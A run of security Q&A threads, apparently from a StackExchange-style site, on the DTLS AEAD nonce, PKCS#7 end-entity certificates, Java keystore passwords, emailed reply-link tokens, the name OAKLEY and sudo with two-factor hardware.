Here is a link to a pcap file
http://s000.tinyupload.com/index.php?file_id=01886789284371410631

The AEAD format, after the 13-byte DTLS record header you correctly describe, begins with an 8-byte explicit nonce (combined with implicit nonce aka 'salt' from key derivation to form the actual nonce); this may be (epoch+)seqnum.

Quoting https://tools.ietf.org/html/rfc6655 (which applies to both TLS and DTLS, remember):

  [...] The
     nonce_explicit is the "explicit" part of the nonce.  It is chosen by
     the sender and is carried in each TLS record in the
     GenericAEADCipher.nonce_explicit field.  The nonce_explicit length
     (SecurityParameters.record_iv_length) is 8 octets.  Each value of the
     nonce_explicit MUST be distinct for each distinct invocation of the
     GCM encrypt function for any fixed key.  Failure to meet this
     uniqueness requirement can significantly degrade security.  The
     nonce_explicit MAY be the 64-bit sequence number (as long as those
     values are assured to meet the distinctness requirement).

  In DTLS, the 64-bit seq_num is the 16-bit epoch concatenated with the
     48-bit seq_num.


Distinguish the end-entity cert in a PKCS#7 (P7B) cert chain Is there a standard/definitive way to distinguish the end-entity cert in a PKCS#7 (P7B) cert chain?  I believe the PKCS#7 standard doesn't not specify sequence when ordering the certs in the chain, but most tools do sequence them in (either bkw or fwd) signing order).  And I know an end cert would have different owner/issuer CNs (root's would be the same for both), was wondering if there was a foolproof differentiator say, in the case of an end and intermediate cert, where both would have different owner/issuer (right?).  Thx!

CA certificates (V3) always include Basic Constraints certificate extension where isCA attribute is set to True. End-entity certificates either, omit this extension or include extension with isCA attribute set to False. Basic Constraints (RFC 5280 §4.2.1.9) is the most reliable way to differentiate CA and end entity certificates.
Here is an example of Basic Constraints extension for CA certificate in Windows Certificate Viewer:

an example of Basic Constraints extension for end entity certificate in Windows Certificate Viewer:


Where to store Java keystore password? We are going to have a Java Key Store which will store certificates & public/private keys. This keystore will be protected with the password. However, access to the keystore is only from the program. There is no way of providing input as it is only based on api access.

What is best place to store the Java keystore password & in what format it should be stored?

If you hope to keep the private keys out of the hands of whoever runs your program, then it will not work. Secrets embedded in code do not resist reverse engineering (especially when using Java, which is quite easy to reverse-engineer).

Though you do not give any detail about your situation (you just say "Java" and "the program"), I can give the following generic advice: arrange for your private key to be user-specific, and such that it is the user's best interest that the private key remains private. In that case, the user will collaborate to the key security. You may then store the private key (or a password which unlocks the private key) in the Java preferences.


How safe is it for an app to trust a click on a link in an email? In my question and answer application, Joe signs up, logs in and adds a question.
He then shares the question via email to his trusted friends.

How safe is it to provide a link within that app generated email to allow his friends to directly respond to the question without having to register on the site?

The key goal is that I would like the user's friends to be able to respond to his question without having to register on the application site. Assume that the link embeds the email id of the receiver, so the app can map each response to the email id that initiated that link.

What precautions do I need to include to avoid or detect malicious clicks on that link?

I would create tokens (Some random hashes or GUID) for each intended user and pass that in the query string to identify the individual users. Kind of like a temporary password. Putting this on the query string is convenient for the user. Making the GUID, or token temporary or for one time use will reduce sharing. Your only concern after this is if your users need to edit or amend their response to your question after the fact. I would send the question ID along with the GUID. As an example:

http://example.com/thread/27?AHG324y6CVSA452aw34aF

Where http://example.com is your domain, thread is your controller/action (MVC) and 27 identifies the thread, or question being asked. You can then use their  token AHG324y6CVSA452aw34aF to identify who submitted the answer. (Unless your going for anonymity then that is up to you, but users wont trust you, or rather, I wouldn't trust you, with this approach).

Sounds like a fun project.

EDIT:

Important note: GUIDs are unique, not random so they should not be used in this scenario.


What does OAKLEY stand for? IPsec uses ISAKMP + OAKLEY + SKEME right? This is strange but even after checking  the RFC of OAKLEY, i couldnt find what it basically stands for? Can someone please point me to the right direction or answer me here?

IPsec uses ISAKMP + OAKLEY + SKEME right?

Current IPsec implementations actually use IKEv2. But its predecessor, IKEv1, was based on these protocols. The introduction of RFC 2409 (IKEv1) puts it this way:

  This document describes a protocol using part of Oakley and part of
     SKEME in conjunction with ISAKMP to obtain authenticated keying
     material for use with ISAKMP, and for other security associations
     such as AH and ESP for the IETF IPsec DOI.

As to your question what OAKLEY stands for: The author, Hilarie Orman, originally wrote it as Oakley in her first draft, which indicates that it might not have been an acronym. Instead the protocol was apparently named after Annie Oakley, which she explained as follows (responding to someone from China asking the same question):

  Orman-Authenticated-Key-Exchange = OAKE Pronounced as "Oak-E" it sounds like a derogatory regional term in the USA. That was not acceptable, so it had to change slightly.

  Therefore, it became "Oakley" as in "Annie Oakley" the name of a female rodeo performer in the early American West. Because I am a woman, and because Annie Oakley was a woman renowned for her excellence in activities that were usually done by men, and because the IETF is mostly men, I thought that the name was an amusing.


Using a pen drive + secure certificate instead of sudo passwords Is this recommended and/or possible? I just don't like the idea of anyone beside me being able to see when I type my password.

When you talk about a pen drive and certificate based authentication, you probably want two-factor-authentication (2FA). This means that you do not use the pen drive instead of the password but in addition to the password. If I understood your question correctly, you are not doing this for usability but for added security, therefore 2FA is the way to go.

It is possible to configure sudo with 2FA - e.g. there is a guide for a Yubikey implementation. This is just an example, as the configuration will depend on the actual hardware you are using. Any FIDO/U2F device that's supported by your OS can be used.

For the sake of completeness, you actually can configure sudo to work without a password, just using the pen drive, but I would not recommend this from a security perspective. Both options are shown in chapter 4.a) and 4.b) respectively in this guide for Fedora.